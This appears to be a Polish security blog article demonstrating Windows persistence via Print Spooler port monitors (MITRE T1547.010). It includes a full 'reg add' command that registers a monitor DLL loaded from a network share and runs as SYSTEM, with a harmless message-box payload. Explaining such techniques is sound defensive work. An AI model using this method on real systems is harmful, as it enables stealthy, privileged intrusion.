Menu dostępności

Uruchomienie złośliwego oprogramowania z wykorzystaniem monitora portów drukarek

W dzisiejszym artykule opiszemy jedną z ciekawych technik trwałego ukrywania się cyberprzestępców w systemie Windows, umożliwiającą uruchomienie złośliwego oprogramowania. Została ona opisana w Mitre T1547.010 i na potrzeby artykułu postanowiliśmy ją zademonstrować. Jest ona ciekawa, ponieważ możliwa jest do wykonania nawet na najnowszych wersjach Windows.


Co to jest Port Monitor?

Opisywana technika wykorzystuje możliwość Print Spoolera, czyli serwisu na Windows odpowiadającego za funkcje bufora wydruku (drukowania), w której można do systemu dodawać tak zwane monitory portów (Port Monitor). Cyberprzestępca, jeśli zdobędzie odpowiednie uprawnienia zapisu do gałęzi rejestru (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors) lub lokalnego administratora na Windows będzie miał możliwość dodania w nim monitor portu drukarki oraz dodania dowolnej biblioteki DLL, która będzie działać jako „monitor”.

Istnieją zasadniczo dwa sposoby dodania monitora portu, zwanego również złośliwą biblioteką dll:

  • za pośrednictwem rejestru systemowego w celu zapewnienia na sztywno przyczółku w systemie. Potrzebny będzie restart komputera.
  • za pośrednictwem niestandardowej aplikacji systemu Windows (funkcja AddMonitor) do natychmiastowego wykonania biblioteki dll.

Ponieważ usługa Print Spooler działa na najwyższych uprawnieniach systemowych „ZARZĄDZANIE NT/SYSTEM”, to tak skonfigurowana biblioteka DLL uruchomi się także w kontekście tych uprawnień. Stwarza to cyberprzestępcom nieograniczone możliwości w systemie Windows.


Przykład złośliwej biblioteki

Poniżej zamieszczamy kod biblioteki (payload.dll) napisanej w C++, której wynikiem działania jest uruchomienie na pulpicie Windows okna z wiadomością.


Jak stworzyć przyczółek w Windows z wykorzystaniem Port Monitor?

Dokumentacja Microsoft MSDN określa, że biblioteka DLL musi znaleźć się we wpisie Drivers i wszelkie pliki towarzyszące muszą znajdować się w katalogu „C:\Windows\System32\”. Okazuje się, że niekoniecznie tak musi być z lokalizacją biblioteki. Możemy ją załadować z udziału sieciowego tak, jak zostało to opisane i pokazane tutaj.

W celu dodanie wymaganego klucza do rejestru możemy użyć poniżej komendy: reg add „HKLM\System\CurrentControlSet\Control\Print\Monitors\KapitanHack” /v „Driver” /d „\\172.16.215.100\kapitan\payload.dll” /t REG_SZ”

W wyniku której zostanie dodany nasz port monitor KapitanHack z payload (plik payload.dll) pochodzącym z udostępnionego dla wszystkich (tryb zapis i odczyt) udziału o nazwie „kapitan” na serwerze 172.16.215.100.

Po ponownym uruchomieniu komputera możemy zobaczyć wynik w postaci uruchomienia biblioteki (pliku payload.dll), a konkretniej w naszym przypadku wywołania w niej funkcji uruchamiającej okno komunikatu na Windows.

Nasz plik payload.dll możemy załadować do Port Monitor z wykorzystaniem wcześniej wspomnianej funkcji w C++ AddMonitor().

Kompilując powyższy kod i uruchamiając go, system Windows uruchomi go automatycznie i na ekranie powinno pojawić się okno z naszym komunikatem. Uwaga! Program musimy uruchomić na użytkowniku posiadającym lokalne uprawnienia administracyjne lub przynajmniej uprawnienie SeLoadDriverPrivilege.

Popularne

Czym są non-human identities (NHI)? Jak możemy je chronić i jakie zagrożenia stwarzają dla organizacji?

Czym są non-human identities (NHI)? Jak możemy je chronić i jakie zagrożenia stwarzają dla organizacji?

W dzisiejszym artykule opisujemy pewien problem istniejący w firmach i organizacjach, związany z tożsamościami nieludzkimi (non-human identities), czyli inaczej – tożsamościami niezwiązanymi z pracow...
Nowe podatności w architekturze sieci 5G

Nowe podatności w architekturze sieci 5G

Nowe badania nad architekturą 5G ujawniły lukę w zabezpieczeniach modelu dzielenia sieci oraz zwirtualizowanych funkcjach sieciowych, które można wykorzystać do nieautoryzowanego dostępu do danych, a tak...
Filtrowanie URL i DNS, dlaczego to takie ważne?

Filtrowanie URL i DNS, dlaczego to takie ważne?

Filtrowanie adresów URL ogranicza zawartość stron internetowych, do których użytkownicy mają dostęp. Odbywa się to poprzez blokowanie określonych adresów URL przed załadowaniem. Firmy wdrażają filtrowanie...
Hakerzy z Dragon Breath z nową techniką ataku

Hakerzy z Dragon Breath z nową techniką ataku

Specjaliści z Sophos wykryli niedawno złośliwą aktywność polegającą na klasycznym DLL side-loadingu, ale ze zwiększoną złożonością i dodatkową warstwą wykonania. Co więcej, dochodzenie wskazuje, że oso...
Polowanie na eskalację uprawnień w Windows: sterowniki jądra i Named Pipe pod lupą

Polowanie na eskalację uprawnień w Windows: sterowniki jądra i Named Pipe pod lupą

Podatności typu Local Privilege Escalation (LPE) pozostają jednym z kluczowych elementów realnych ataków na systemy Windows. Nawet przy poprawnie skonfigurowanym systemie i aktualnym oprogramowaniu bł...